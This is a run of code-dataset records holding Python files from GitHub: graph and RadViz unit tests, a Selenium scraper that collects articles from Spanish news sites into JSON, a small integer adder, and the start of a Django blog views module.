self.graph_split.add_node(\"D\")\n self.graph_split.add_node(\"E\")\n\n self.graph_split.add_edge(\"A\", \"B\", 1)\n self.graph_split.add_edge(\"B\", \"C\", 1)\n self.graph_split.add_edge(\"C\", \"A\", 1)\n self.graph_split.add_edge(\"D\", \"E\", 1)\n\n def test_directed_graph(self):\n graph_table = {\"forked\": self.graph_forked,\n \"circ\": self.graph_circular,\n \"split\": self.graph_split}\n\n test_cases = \\\n [TestCaseData(\"forked\", \"A\", \"B\", True, [\"A\", \"B\", \"C\", \"D\"]),\n TestCaseData(\"forked\", \"B\", \"D\", True, [\"B\", \"D\"]),\n TestCaseData(\"forked\", \"A\", \"A\", True, [\"A\"]),\n TestCaseData(\"forked\", \"B\", \"A\", False, []),\n TestCaseData(\"forked\", \"A\", \"E\", False, []),\n TestCaseData(\"circ\", \"A\", \"D\", True, [\"A\", \"B\", \"C\", \"D\"]),\n TestCaseData(\"circ\", \"C\", \"A\", True, [\"C\", \"D\", \"A\", \"B\"]),\n TestCaseData(\"split\", \"A\", \"E\", False, []),\n TestCaseData(\"split\", \"A\", \"C\", True, [\"A\", \"B\", \"C\"]),\n TestCaseData(\"split\", \"D\", \"E\", True, [\"D\", \"E\"])]\n\n for test_case in test_cases:\n graph_name, o_id, d_id, expect_can_path, expected_path = test_case\n\n logging.info(\n f'TestCase: Graph:{graph_name}, o={o_id}, d={d_id}, can_path={expect_can_path}, exp_path={expected_path}')\n\n can_path, bfs_path = graph_table[graph_name].bfs_path_to_node(\n o_id, d_id)\n\n logging.info(\n f'{can_path, bfs_path}= {graph_name}.bfs_path_to_node({o_id}, {d_id})')\n\n self.assert_(can_path == expect_can_path)\n if (expect_can_path):\n self.assert_(bfs_path == expected_path)\n","repo_name":"jhengineerartist/python-onboarding","sub_path":"tests/test_graph.py","file_name":"test_graph.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37675899428","text":"import sys\nimport pytest\nimport unittest\nimport numpy.testing as npt\n\nfrom tests.base import VisualTestCase\nfrom tests.dataset import DatasetMixin\nfrom yellowbrick.features.radviz import *\n\ntry:\n import pandas\nexcept ImportError:\n pandas = None\n\n##########################################################################\n## RadViz Base Tests\n##########################################################################\n\n\nclass RadVizTests(VisualTestCase, DatasetMixin):\n X = np.array(\n [[ 2.318, 2.727, 4.260, 7.212, 4.792],\n [ 2.315, 2.726, 4.295, 7.140, 4.783,],\n [ 2.315, 2.724, 4.260, 7.135, 4.779,],\n [ 2.110, 3.609, 4.330, 7.985, 5.595,],\n [ 2.110, 3.626, 4.330, 8.203, 5.621,],\n [ 2.110, 3.620, 4.470, 8.210, 5.612,]]\n )\n\n y = np.array([1, 1, 0, 1, 0, 0])\n\n def setUp(self):\n self.occupancy = self.load_data('occupancy')\n super(RadVizTests, self).setUp()\n\n def tearDown(self):\n self.occupancy = None\n super(RadVizTests, self).tearDown()\n\n def test_normalize_x(self):\n \"\"\"\n Test the static normalization method on the RadViz class\n \"\"\"\n expected = np.array(\n [[ 1. , 0.00332594, 0. , 0.07162791, 0.01543943],\n [ 0.98557692, 0.00221729, 0.16666667, 0.00465116, 0.00475059],\n [ 0.98557692, 0. , 0. , 0. , 0. ],\n [ 0. , 0.98115299, 0.33333333, 0.79069767, 0.96912114],\n [ 0. , 1. , 0.33333333, 0.99348837, 1. ],\n [ 0. , 0.99334812, 1. , 1. , 0.98931116]]\n )\n\n Xp = RadViz.normalize(self.X)\n npt.assert_array_almost_equal(Xp, expected)\n\n def test_radviz(self):\n \"\"\"\n Assert no errors occur during radviz visualizer integration\n \"\"\"\n visualizer = RadViz()\n visualizer.fit_transform(self.X, self.y)\n visualizer.poof()\n self.assert_images_similar(visualizer, tol=0.25)\n\n def test_integrated_radviz(self):\n \"\"\"\n Test radviz on the real, occupancy data set\n \"\"\"\n\n # Load the data from the fixture\n X = self.occupancy[[\n \"temperature\", \"relative_humidity\", \"light\", \"C02\", \"humidity\"\n ]]\n X = X.copy().view((float, len(X.dtype.names)))\n y = self.occupancy['occupancy'].astype(int)\n\n # Test the visualizer\n visualizer = RadViz()\n visualizer.fit_transform(X, y)\n visualizer.poof()\n self.assert_images_similar(visualizer, tol=0.25)\n\n @pytest.mark.xfail(\n sys.platform == 'win32', reason=\"images not close on windows\"\n )\n @unittest.skipUnless(pandas is not None,\n \"Pandas is not installed, could not run test.\")\n def test_integrated_radiz_with_pandas(self):\n \"\"\"\n Test scatterviz on the real, occupancy data set with pandas\n \"\"\"\n # Load the data from the fixture\n X = self.occupancy[[\n \"temperature\", \"relative_humidity\", \"light\", \"C02\", \"humidity\"\n ]]\n y = self.occupancy['occupancy'].astype(int)\n\n # Convert X to a pandas dataframe\n X = pandas.DataFrame(X)\n X.columns = [\n \"temperature\", \"relative_humidity\", \"light\", \"C02\", \"humidity\"\n ]\n\n # Test the visualizer\n features = [\"temperature\", \"relative_humidity\"]\n visualizer = RadViz(features=features)\n visualizer.fit_transform_poof(X, y)\n self.assert_images_similar(visualizer)\n\n @pytest.mark.xfail(\n sys.platform == 'win32', reason=\"images not close on windows\"\n )\n @unittest.skipUnless(pandas is not None,\n \"Pandas is not installed, could not run test.\")\n def test_integrated_radiz_with_pandas_with_classes(self):\n \"\"\"\n Test scatterviz on the real, occupancy data set with pandas with classes\n \"\"\"\n # Load the data from the fixture\n X = self.occupancy[[\n \"temperature\", \"relative_humidity\", \"light\", \"C02\", \"humidity\"\n ]]\n classes = ['unoccupied', 'occupied']\n\n y = self.occupancy['occupancy'].astype(int)\n\n # Convert X to a pandas dataframe\n X = pandas.DataFrame(X)\n X.columns = [\n \"temperature\", \"relative_humidity\", \"light\", \"C02\", \"humidity\"\n ]\n\n # Test the visualizer\n features = [\"temperature\", \"relative_humidity\"]\n visualizer = RadViz(features=features, classes=classes)\n visualizer.fit_transform_poof(X, y)\n self.assert_images_similar(visualizer)\n","repo_name":"minhto2802/mlviz","sub_path":"tests/test_features/test_radviz.py","file_name":"test_radviz.py","file_ext":"py","file_size_in_byte":4681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11145083099","text":"#We import libraries\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nimport undetected_chromedriver as uc\r\nfrom selenium.webdriver.support.ui import WebDriverWait \r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom time import sleep\r\nimport datetime\r\nimport pytz\r\nimport json\r\nfrom random import randint\r\nfrom selenium.webdriver.firefox.options import Options\r\nimport math\r\nfrom selenium.common.exceptions import NoSuchElementException, ElementClickInterceptedException\r\n\r\nclass Webscrap():\r\n def __init__(self):\r\n options_browser = Options()\r\n options_browser.add_argument(\"--disable-popup-blocking\")\r\n self.browser = webdriver.Firefox(options = options_browser)\r\n self.browser.maximize_window()\r\n self.browser.execute_script(f\"window.open('','_blank');\")\r\n self.browser.switch_to.window(self.browser.window_handles[0])\r\n self.press_list = [\"20MINUTOS\", \"ELDIARIO\"]\r\n \r\n \r\n \r\n def run_scraper(self):\r\n self.form()\r\n self.scrap_20minutos()\r\n # self.scrap_abc() TODO: PROBLEMAS\r\n # self.scrap_elconfidencial() TODO: PROBLEMAS\r\n self.scrap_eldiario()\r\n self.browser.quit()\r\n self.file_name = f\"{self.keyword_1}_{datetime.datetime.now().year}{datetime.datetime.now().month}{datetime.datetime.now().day}.json\"\r\n with open(self.file_name, \"w\") as file:\r\n for diario in self.press_list:\r\n for article_id in self.keywords_scrap_dict[self.keyword_1][diario][\"articles\"]:\r\n if article_id != None and article_id != 'errors':\r\n date_datetime = self.keywords_scrap_dict[self.keyword_1][diario][\"articles\"][article_id][\"date\"]\r\n date_string = date_datetime.strftime('%d.%m.%Y - %H:%MH')\r\n self.keywords_scrap_dict[self.keyword_1][diario][\"articles\"][article_id][\"date\"] = date_string\r\n json.dump(self.keywords_scrap_dict, file)\r\n print(\"file saved\")\r\n\r\n\r\n def form(self):\r\n #We ask for word/s\r\n self.keyword_1 = input(\"Which word/s would you like to analyse: \")\r\n\r\n #We ask for period of time \r\n while True:\r\n try:\r\n self.enddate_str = input(\"End date (format: YYYY-MM-DD): \")\r\n self.startingdate_str = input(\"Starting date (format: YYYY-MM-DD): \")\r\n date_format = '%Y-%m-%d'\r\n #cambiamos de string a format Datetime\r\n self.enddate_datatime = datetime.datetime.strptime(self.enddate_str, date_format)\r\n self.startingdate_datatime = datetime.datetime.strptime(self.startingdate_str, date_format)\r\n #maxim 367 days so the system does not break\r\n if (self.enddate_datatime - self.startingdate_datatime).days >= 367:\r\n print(f\"The number of dates between the two dates cannot be greater than 367\")\r\n else:\r\n break\r\n except:\r\n print(f\"Please use the following format: YYYY-MM-DD\")\r\n\r\n #We establish dict's structure\r\n self.keywords_scrap_dict = {\r\n self.keyword_1: {}\r\n }\r\n\r\n\r\n\r\n def scrap_20minutos(self):\r\n #We create the dictionary\r\n self.keywords_scrap_dict[self.keyword_1][\"20MINUTOS\"] = {\r\n \"articles\": {}\r\n }\r\n \r\n #We create a list that will save those URLs that gave an error when scraped\r\n page_scrap_errors = []\r\n\r\n #We access to homepage\r\n self.browser.get(\"https://www.20minutos.es\")\r\n sleep(randint(2,4))\r\n\r\n #We acccept cookies\r\n btn_aceptar_cookies = self.browser.find_element(By.XPATH, \"/html/body/div[1]/div/div/div/div/div/div[3]/button[2]\") \r\n btn_aceptar_cookies.click()\r\n\r\n #We open window[0]\r\n url = f\"https://www.20minutos.es/busqueda/?q={self.keyword_1}&category=&publishedAt%5Bfrom%5D={self.startingdate_datatime}&publishedAt%5Buntil%5D={self.enddate_datatime}&articleTypes%5B%5D=default\"\r\n self.browser.get(url)\r\n sleep(randint(2,3))\r\n\r\n #We get de number of pages the scrap will have to iterate \r\n try:\r\n n = self.browser.find_element(By.CLASS_NAME, \"info_paginacion\").text.split(\" \")[-1]\r\n except NoSuchElementException:\r\n n = 1\r\n print(f\"We iterate through {n} pages.\")\r\n\r\n #We create a loop to go from one page to another\r\n for i in range(1,(int(n)+1)):\r\n self.browser.get(f\"https://www.20minutos.es/busqueda/{i}/?q={self.keyword_1}&category=&publishedAt%5Bfrom%5D={self.startingdate_datatime}&publishedAt%5Buntil%5D={self.enddate_datatime}&articleTypes%5B%5D=default\")\r\n sleep(randint(2,3))\r\n\r\n #We identify every element\r\n articles = self.browser.find_elements(By.CLASS_NAME, \"media\")\r\n if len(articles) != 0:\r\n page_urls = [articulo.find_element(By.TAG_NAME,\"a\").get_attribute(\"href\") for articulo in articles]\r\n self.browser.switch_to.window(self.browser.window_handles[1])\r\n sleep(randint(2,3))\r\n for page_url in page_urls:\r\n self.browser.get(page_url)\r\n sleep(randint(2,4))\r\n try:\r\n webpage = self.browser.find_element(By.CLASS_NAME, \"page-article\")\r\n article_id = webpage.id\r\n title = webpage.find_element(By.CLASS_NAME, \"article-title\").text\r\n subtitle = webpage.find_element(By.CLASS_NAME, \"article-intro\")\r\n subtitle_text = subtitle.find_element(By.TAG_NAME,\"li\").text\r\n body = webpage.find_element(By.CLASS_NAME, \"article-text\").text\r\n author = webpage.find_element(By.CLASS_NAME, \"article-author\")\r\n authors = author.text.split(\"\\n\")\r\n date_str = webpage.find_element(By.CLASS_NAME, \"article-date\").text\r\n date_format = '%d.%m.%Y - %H:%MH'\r\n date_obj = datetime.datetime.strptime(date_str, date_format)\r\n \r\n self.keywords_scrap_dict[self.keyword_1][\"20MINUTOS\"][\"articles\"][article_id] = {\r\n \"url_article\":page_url,\r\n \"title\": title,\r\n \"subtitle\":subtitle_text,\r\n \"body\": body,\r\n \"authors\": authors,\r\n \"date\": date_obj\r\n }\r\n except Exception as ex:\r\n page_scrap_errors.append([page_url, str(ex)])\r\n\r\n self.browser.switch_to.window(self.browser.window_handles[0])\r\n sleep(randint(2,3))\r\n else:\r\n article_id = None\r\n self.keywords_scrap_dict[self.keyword_1][\"20MINUTOS\"][\"articles\"][article_id] = {}\r\n print(f\"No results in 20minutos for {self.keyword_1}\")\r\n self.keywords_scrap_dict[self.keyword_1][\"20MINUTOS\"][\"errors\"] = page_scrap_errors\r\n\r\n\r\n\r\n def scrap_abc(self):\r\n #We create the dictionary\r\n self.keywords_scrap_dict[self.keyword_1][\"ABC\"] = {\r\n \"articles\":{}\r\n }\r\n\r\n #We create a list that will save those URLs that gave an error when scraped\r\n page_scrap_errors = []\r\n\r\n #We access to homepage\r\n self.browser.switch_to.window(self.browser.window_handles[0])\r\n self.browser.get(\"https://abc.es\")\r\n sleep(randint(2,4))\r\n\r\n #We acccept cookies\r\n btn_aceptar_cookies = self.browser.find_element(By.XPATH, \"/html/body/div[2]/div/div/div/div/div[2]/button[2]\") #TODO: ESTO SE LO PASAMOS DE BBDD_PRENSA_ESCRITA_AGOSTO23 \r\n btn_aceptar_cookies.click()\r\n\r\n #We open window[0]\r\n #Convert dates into str format YYYYMMDD\r\n start_strdate_url = self.startingdate_datatime.strftime(\"%Y%m%d\")\r\n end_strdate_url = self.enddate_datatime.strftime(\"%Y%m%d\")\r\n url = f\"https://www.abc.es/hemeroteca/resultados-busqueda-avanzada/noticia?exa={self.keyword_1}&rfec={start_strdate_url};{end_strdate_url}&or=1&nres=20\"\r\n self.browser.get(url)\r\n sleep(randint(2,3))\r\n \r\n #We get de number of pages the scrap will have to iterate \r\n try:\r\n total = self.browser.find_element(By.CLASS_NAME, \"total\").text\r\n total = total.replace(\"(\",\"\").replace(\")\",\"\")\r\n except NoSuchElementException:\r\n total = 0\r\n\r\n if total !=0:\r\n try:\r\n n = math.ceil(int(total)/20)\r\n except NoSuchElementException:\r\n n = 1\r\n print(f\"We iterate through {n} pages.\")\r\n\r\n #We create a loop to go from one page to another\r\n for i in range(1,(int(n)+1)):\r\n self.browser.get(f\"https://www.abc.es/hemeroteca/resultados-busqueda-avanzada/noticia/pagina-{i}?exa={self.keyword_1}&rfec={start_strdate_url};{end_strdate_url}&or=1&nres=20\")\r\n sleep(randint(2,3))\r\n\r\n #We identify every element\r\n block_articles = self.browser.find_element(By.ID,\"results-content\")\r\n articles = block_articles.find_elements(By.TAG_NAME, \"li\")\r\n page_urls = [article.find_element(By.TAG_NAME, \"a\").get_attribute(\"href\") for article in articles if '/ultimas-noticias/' not in article.find_element(By.TAG_NAME, \"a\").get_attribute(\"href\")]\r\n \r\n sleep(randint(2,3))\r\n for page_url in page_urls:\r\n self.browser.switch_to.window(self.browser.window_handles[1])\r\n self.browser.get(page_url)\r\n sleep(randint(2,4))\r\n try:\r\n btn_close_window = self.browser.find_element(By.CLASS_NAME, \"btn-close\")\r\n btn_close_window.click()\r\n sleep(randint(1,2))\r\n except Exception as ex:\r\n sleep(randint(1,2))\r\n try:\r\n btn_close_window = self.browser.find_element(By.CLASS_NAME, \"btn-close\")\r\n btn_close_window.click()\r\n except Exception as ex:\r\n pass\r\n try:\r\n webpage = self.browser.find_element(By.CLASS_NAME, \"voc-d__article\")\r\n article_id = webpage.id\r\n title = self.browser.find_element(By.CLASS_NAME, \"voc-title\").text\r\n subtitle = self.browser.find_element(By.CLASS_NAME, \"voc-subtitle\").text\r\n paragraphs = self.browser.find_elements(By.CLASS_NAME, \"voc-p\")\r\n paragraphs_text = [paragraph.text for paragraph in paragraphs]\r\n body_text = \" \".join(paragraphs_text)\r\n authors = webpage.find_element(By.CLASS_NAME, \"voc-author__name\").text\r\n date_str = webpage.find_element(By.CLASS_NAME, \"voc-author__time\").text\r\n try:\r\n date_format = '%d/%m/%Y a las %H:%Mh.' \r\n date_obj = datetime.datetime.strptime(date_str, date_format)\r\n except Exception as ex:\r\n try:\r\n date_format = '%d/%m/%Y\\nActualizado a las %H:%Mh.'\r\n date_obj = datetime.datetime.strptime(date_str, date_format)\r\n except Exception as ex:\r\n try:\r\n date_format = 'Actualizado a las %H:%Mh.'\r\n date_obj = datetime.datetime.strptime(date_str, date_format)\r\n except:\r\n date_format = 'Actualizado %d/%m/%Y a las %H:%Mh.'\r\n date_obj = datetime.datetime.strptime(date_str.split(\"\\n\")[1], date_format)\r\n self.keywords_scrap_dict[self.keyword_1][\"ABC\"][\"articles\"][article_id] = {\r\n \"url_article\":page_url,\r\n \"title\": title,\r\n \"subtitle\":subtitle,\r\n \"body\": body_text,\r\n \"authors\": authors,\r\n \"date\": date_obj,\r\n \r\n }\r\n except Exception as ex:\r\n page_scrap_errors.append([page_url, str(ex)])\r\n self.browser.switch_to.window(self.browser.window_handles[0])\r\n sleep(randint(2,3))\r\n self.keywords_scrap_dict[self.keyword_1][\"ABC\"][\"errors\"] = page_scrap_errors\r\n else:\r\n article_id = None\r\n self.keywords_scrap_dict[self.keyword_1][\"ABC\"][\"articles\"][article_id] = {}\r\n print(f\"No results in ABC for {self.keyword_1}\")\r\n\r\n\r\n\r\n def scrap_eldiario(self):\r\n #We create the dictionary\r\n self.keywords_scrap_dict[self.keyword_1][\"ELDIARIO\"] = {\r\n \"articles\": {}\r\n }\r\n\r\n #We create a list that will save those URLs that gave an error when scraped\r\n page_scrap_errors = []\r\n\r\n #We access to homepage\r\n self.browser.get(\"https://www.eldiario.es/\")\r\n sleep(randint(2,4))\r\n\r\n #We acccept cookies\r\n btn_aceptar_cookies = self.browser.find_element(By.XPATH, \"/html/body/div[1]/div/div/div/div/div[2]/button[2]\") \r\n btn_aceptar_cookies.click()\r\n\r\n #We close subscription btn\r\n try:\r\n btn_subscription = self.browser.find_element(By.XPATH, \"/html/body/div[8]/i\") \r\n btn_subscription.click()\r\n except Exception as ex:\r\n print(ex)\r\n pass\r\n \r\n #We open window[0]\r\n url = f\"https://www.eldiario.es/busqueda/{self.keyword_1}\"\r\n self.browser.get(url)\r\n sleep(randint(2,3))\r\n\r\n #We get de number of pages the scrap will have to iterate \r\n try:\r\n total = int(self.browser.find_element(By.CLASS_NAME, \"num-result\").text)\r\n print(type(total))\r\n except NoSuchElementException:\r\n total = 0\r\n \r\n if total != 0:\r\n try:\r\n n_paginas = math.ceil(total/20)\r\n print(f\"We iterate through {n_paginas} pages.\")\r\n except NoSuchElementException:\r\n n_paginas = 1\r\n #Vamos ampliando páginas\r\n sleep(randint(2,3))\r\n contador_errores = 0\r\n for i in range(1, n_paginas+1):\r\n self.browser.execute_script(\"window.scrollTo(0,document.body.scrollHeight)\")\r\n print(f\"Bajada #{i}\")\r\n sleep(randint(3,4))\r\n try:\r\n # btn_more_articles = self.browser.find_element(By.XPATH, \"/html/body/div[3]/div/div[2]/div[1]/main/button\")\r\n # btn_more_articles.click()\r\n WebDriverWait(self.browser,10).until(EC.element_to_be_clickable((By.XPATH, \"/html/body/div[3]/div/div[2]/div[1]/main/button\"))).click()\r\n sleep(randint(2,3))\r\n contador_errores = 0\r\n except ElementClickInterceptedException:\r\n btn_more_news = self.browser.find_element(By.ID, \"onesignal-slidedown-cancel-button\")\r\n btn_more_news.click()\r\n except Exception as ex:\r\n print(ex)\r\n contador_errores += 1\r\n if contador_errores == 2:\r\n print(f\"fin de las iteraciones.\")\r\n break\r\n \r\n #We identify every element TODO:\r\n block_articles = self.browser.find_element(By.CSS_SELECTOR,\".partner-wrapper.view-more-results\")\r\n articles = block_articles.find_elements(By.CLASS_NAME, \"article-cont-search\")\r\n sleep(randint(2,3))\r\n\r\n for article in articles:\r\n date_str = article.find_element(By.TAG_NAME, \"time\").get_attribute(\"datetime\").split(\"+\")\r\n date_str_no_timezone = date_str[0]\r\n date_format = '%Y-%m-%dT%H:%M:%S'\r\n date_obj = datetime.datetime.strptime(date_str_no_timezone, date_format)\r\n if self.startingdate_datatime <= date_obj and self.enddate_datatime >= date_obj:\r\n page_url = article.find_element(By.CLASS_NAME, \"second-column\").find_element(By.TAG_NAME,\"a\").get_attribute(\"href\")\r\n self.browser.switch_to.window(self.browser.window_handles[1])\r\n sleep(randint(2,3))\r\n self.browser.get(page_url)\r\n sleep(randint(2,4))\r\n try:\r\n webpage = self.browser.find_element(By.CLASS_NAME, \"container-fluid\")\r\n article_id = webpage.id\r\n title = self.browser.find_element(By.CLASS_NAME, \"title\").text\r\n try:\r\n subtitle = self.browser.find_element(By.CLASS_NAME, \"footer\").text\r\n except NoSuchElementException:\r\n subtitle = \"\"\r\n paragraphs = self.browser.find_elements(By.CLASS_NAME, \"article-text\")\r\n paragraphs_text = [paragraph.text for paragraph in paragraphs]\r\n body_text = \" \".join(paragraphs_text)\r\n try:\r\n authors = webpage.find_element(By.CLASS_NAME, \"authors\").text\r\n except NoSuchElementException:\r\n authors = \"\"\r\n self.keywords_scrap_dict[self.keyword_1][\"ELDIARIO\"][\"articles\"][article_id] = {\r\n \"url_article\":page_url,\r\n \"title\": title,\r\n \"subtitle\":subtitle,\r\n \"body\": body_text,\r\n \"authors\": authors,\r\n \"date\": date_obj \r\n }\r\n except Exception as ex:\r\n print(ex)\r\n page_scrap_errors.append([page_url, str(ex)])\r\n self.browser.switch_to.window(self.browser.window_handles[0])\r\n sleep(randint(2,3))\r\n self.keywords_scrap_dict[self.keyword_1][\"ELDIARIO\"][\"errors\"] = page_scrap_errors\r\n else:\r\n article_id = None\r\n self.keywords_scrap_dict[self.keyword_1][\"ELDIARIO\"][\"articles\"][article_id] = {}\r\n print(f\"No results in ELDIARIO for {self.keyword_1}\")\r\n\r\n\r\n\r\n def scrap_elconfidencial(self):\r\n #We create the dictionary\r\n self.keywords_scrap_dict[self.keyword_1][\"ELCONFIDENCIAL\"] = {}\r\n \r\n #We create a list that will save those URLs that gave an error when scraped\r\n page_scrap_errors = []\r\n\r\n #We access to homepage\r\n self.browser.get(\"https://www.elconfidencial.com\")\r\n sleep(randint(2,4))\r\n\r\n #We acccept cookies\r\n btn_aceptar_cookies = self.browser.find_element(By.XPATH, \"/html/body/div[2]/div/div/div/div/div[2]/button[1]\") \r\n btn_aceptar_cookies.click()\r\n sleep(randint(2,4))\r\n\r\n #We close ads\r\n # btn_close_ads = self.browser.find_element(By.XPATH, \"/html/body/div[1]/div/div[2]\")\r\n # btn_close_ads.click()\r\n # sleep(randint(1,2))\r\n\r\n #We open window[0]\r\n url = f\"https://www.elconfidencial.com/buscar/2-6-1-3/0/1/30/desc/{self.keyword_1}/\"\r\n self.browser.get(url)\r\n sleep(randint(2,3))\r\n\r\n #We get de number of pages the scrap will have to iterate \r\n try:\r\n total = self.browser.find_element(By.CLASS_NAME, \"searching-and-paginator\")\r\n total_int = int(total.find_elements(By.TAG_NAME, \"b\")[0].text)\r\n except NoSuchElementException:\r\n total_int = 0\r\n \r\n if total_int != 0:\r\n try:\r\n n_paginas = math.ceil(total_int/30)\r\n print(f\"We iterate through {n_paginas} pages.\")\r\n except:\r\n n_paginas = 1\r\n\r\n # We create a structure to locate the time period\r\n if self.enddate_datatime != datetime.datetime.now().strftime(\"%d/%m/%Y\"):\r\n middle = n_paginas // 2\r\n url_middle = f\"https://www.elconfidencial.com/buscar/2-6-1-3/0/{middle}/30/desc/{self.keyword_1}\"\r\n self.browser.get(url_middle)\r\n sleep(randint(2,3))\r\n stop_loop = False\r\n while True:\r\n if stop_loop:\r\n break\r\n fecha_primer_articulo = self.browser.find_elements(By.TAG_NAME, \"time\")[0].text\r\n fecha_primer_articulo_datetime = datetime.datetime.strptime(fecha_primer_articulo, \"(%d.%m.%Y)\")\r\n fecha_ultimo_articulo = self.browser.find_elements(By.TAG_NAME, \"time\")[-1].text\r\n fecha_ultimo_articulo_datetime = datetime.datetime.strptime(fecha_ultimo_articulo, \"(%d.%m.%Y)\")\r\n if fecha_ultimo_articulo_datetime <= self.enddate_datatime <= fecha_primer_articulo_datetime:\r\n while True:\r\n if fecha_primer_articulo_datetime > self.enddate_datatime:\r\n first_page = middle\r\n stop_loop = True\r\n break \r\n else:\r\n first_page = middle-1\r\n if first_page == 0:\r\n first_page = 1\r\n stop_loop = True\r\n break\r\n else:\r\n url_first = f\"https://www.elconfidencial.com/buscar/2-6-1-3/0/{first_page}/30/desc/{self.keyword_1}\"\r\n self.browser.get(url_first)\r\n sleep(randint(2,3))\r\n fecha_primer_articulo = self.browser.find_elements(By.TAG_NAME, \"time\")[0].text\r\n fecha_primer_articulo_datetime = datetime.datetime.strptime(fecha_primer_articulo, \"(%d.%m.%Y)\")\r\n if self.enddate_datatime < fecha_primer_articulo_datetime:\r\n stop_loop = True\r\n break \r\n else: \r\n if self.enddate_datatime >= fecha_primer_articulo_datetime:\r\n middle = middle//2 \r\n url_middle = f\"https://www.elconfidencial.com/buscar/2-6-1-3/0/{middle}/30/desc/{self.keyword_1}\"\r\n self.browser.get(url_middle)\r\n sleep(randint(2,3))\r\n\r\n elif self.enddate_datatime <= fecha_ultimo_articulo_datetime:\r\n middle = middle + middle//2\r\n url_middle = f\"https://www.elconfidencial.com/buscar/2-6-1-3/0/{middle}/30/desc/{self.keyword_1}\"\r\n self.browser.get(url_middle)\r\n sleep(randint(2,3)) \r\n else:\r\n first_page = 1\r\n\r\n #We identify every element\r\n for i in range(first_page, n_paginas + 1):\r\n url_middle = f\"https://www.elconfidencial.com/buscar/2-6-1-3/0/{middle}/30/desc/{self.keyword_1}\"\r\n self.browser.get(url_middle)\r\n sleep(randint(2,3))\r\n articles = self.browser.find_elements(By.CLASS_NAME, \"new-found\")\r\n\r\n if len(articles) != 0:\r\n for article in articles:\r\n date_str = article.find_element(By.TAG_NAME, \"time\").text\r\n date_format = \"(%d.%m.%Y)\"\r\n date_article_datetime = datetime.datetime.strptime(date_str, date_format)\r\n if date_article_datetime < self.startingdate_datatime:\r\n break\r\n elif date_article_datetime > self.enddate_datatime:\r\n break\r\n else:\r\n page_url = article.find_element(By.TAG_NAME,\"a\").get_attribute(\"href\")\r\n self.browser.switch_to.window(self.browser.window_handles[1])\r\n sleep(randint(1,2))\r\n self.browser.get(page_url)\r\n sleep(randint(2,4))\r\n btn_popup = self.browser.find_element(By.XPATH, \"/html/body/div[1]/div/div/div[2]/div[2]/div[2]/div/button[1]\")\r\n btn_popup.click()\r\n sleep(randint(1,2))\r\n try:\r\n webpage = self.browser.find_element(By.CLASS_NAME, \"articleContainer\")\r\n article_id = webpage.id\r\n title = webpage.find_element(By.CLASS_NAME, \"landscapePhotoFull__title\").text\r\n subtitle = webpage.find_element(By.CLASS_NAME, \"landscapePhotoFull__subTitle\")\r\n subtitle_text = subtitle.find_element(By.TAG_NAME,\"\").text\r\n body = webpage.find_element(By.CLASS_NAME, \"newsType__content news-body-complete\").text\r\n author = webpage.find_element(By.CLASS_NAME, \"authorSignature__link\")\r\n authors = author.text.split(\"\\n\")\r\n date_str = webpage.find_element(By.CLASS_NAME, \"dateTime\").text\r\n date_format = \"(%d.%m.%Y)\"\r\n date_obj = datetime.datetime.strptime(date_str, date_format)\r\n\r\n self.keywords_scrap_dict[self.keyword_1][\"ELCONFIDENCIAL\"][\"articles\"][article_id] = {\r\n \"url_article\":page_url,\r\n \"title\": title,\r\n \"subtitle\":subtitle_text,\r\n \"body\": body,\r\n \"authors\": authors,\r\n \"date\": date_obj\r\n }\r\n except Exception as ex:\r\n page_scrap_errors.append([page_url, str(ex)])\r\n self.browser.switch_to.window(self.browser.window_handles[0])\r\n sleep(randint(2,3))\r\n self.keywords_scrap_dict[self.keyword_1][\"ELCONFIDENCIAL\"][\"errors\"] = page_scrap_errors\r\n else:\r\n article_id = None\r\n self.keywords_scrap_dict[self.keyword_1][\"ELCONFIDENCIAL\"][\"articles\"][article_id] = {}\r\n print(f\"No results in ELCONFIDENCIAL for {self.keyword_1}\") \r\n\r\nif __name__ == \"__main__\":\r\n execute = Webscrap()\r\n execute.run_scraper() ","repo_name":"isabel-martin-pineiro/CodeOp","sub_path":"web_scraper.py","file_name":"web_scraper.py","file_ext":"py","file_size_in_byte":27744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16888187432","text":"'''\r\nCreated on Aug 24, 2015\r\n@author: mtsikano\r\n\r\nThis module accepts the input of two integers and displays their sum. Any other\r\ninput results in a TypeError\r\n'''\r\n\r\ndef add(x=None, y=None):\r\n error_msg = \"Both inputs must be integers.\"\r\n try:\r\n if not isinstance(x, bool) and not isinstance(y, bool)\\\r\n and isinstance(x, int) and isinstance(y, int):\r\n return x + y\r\n else:\r\n raise TypeError(error_msg)\r\n except TypeError:\r\n return\r\n\r\nif __name__ == '__main__':\r\n result = add(1.1, 1)\r\n print(result)","repo_name":"MTset/Python-Programming-Coursework","sub_path":"Python 03: The Python Environment/Lesson 01: Making Sense of User Inputs/adder.py","file_name":"adder.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39823826769","text":"from django.shortcuts import render, get_object_or_404, redirect, HttpResponseRedirect\nfrom django.utils import timezone\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator\nfrom django.contrib import messages\nfrom .models import Blog, Comment\nfrom .form import BlogPost\n\ndef index(request):\n blogs = Blog.objects\n\n #블로그 모든 글들을 리스트에 담아준다.\n blog_list = Blog.objects.all()\n #게시글을 최신순으로 하기위해 역순으로 저장.\n blog_list_reverse = blog_list[::-1]\n #블로그 객체 세 개를 한 페이지로 자르기\n paginator = Paginator(blog_list_reverse,3)\n #request된 페이지가 뭔지 알아내기\n page = request.GET.get('page')\n #request된 페이지를 얻어오고 딕셔너리로 return 해주기\n posts = paginator.get_page(page)\n return render(request, 'index.html', {'blogs': blogs, 'posts':posts})\n\ndef new(request): #new.html을 띄워주는 함수\n return render(request, 'new.html')\n\ndef detail(request, blog_id):\n blog_detail = get_object_or_404(Blog, pk = blog_id)\n return render(request, 'detail.html', {'blog':blog_detail})\n\ndef create(request): #입력바은 내용을 DB에 넣어주는 함수\n blog = 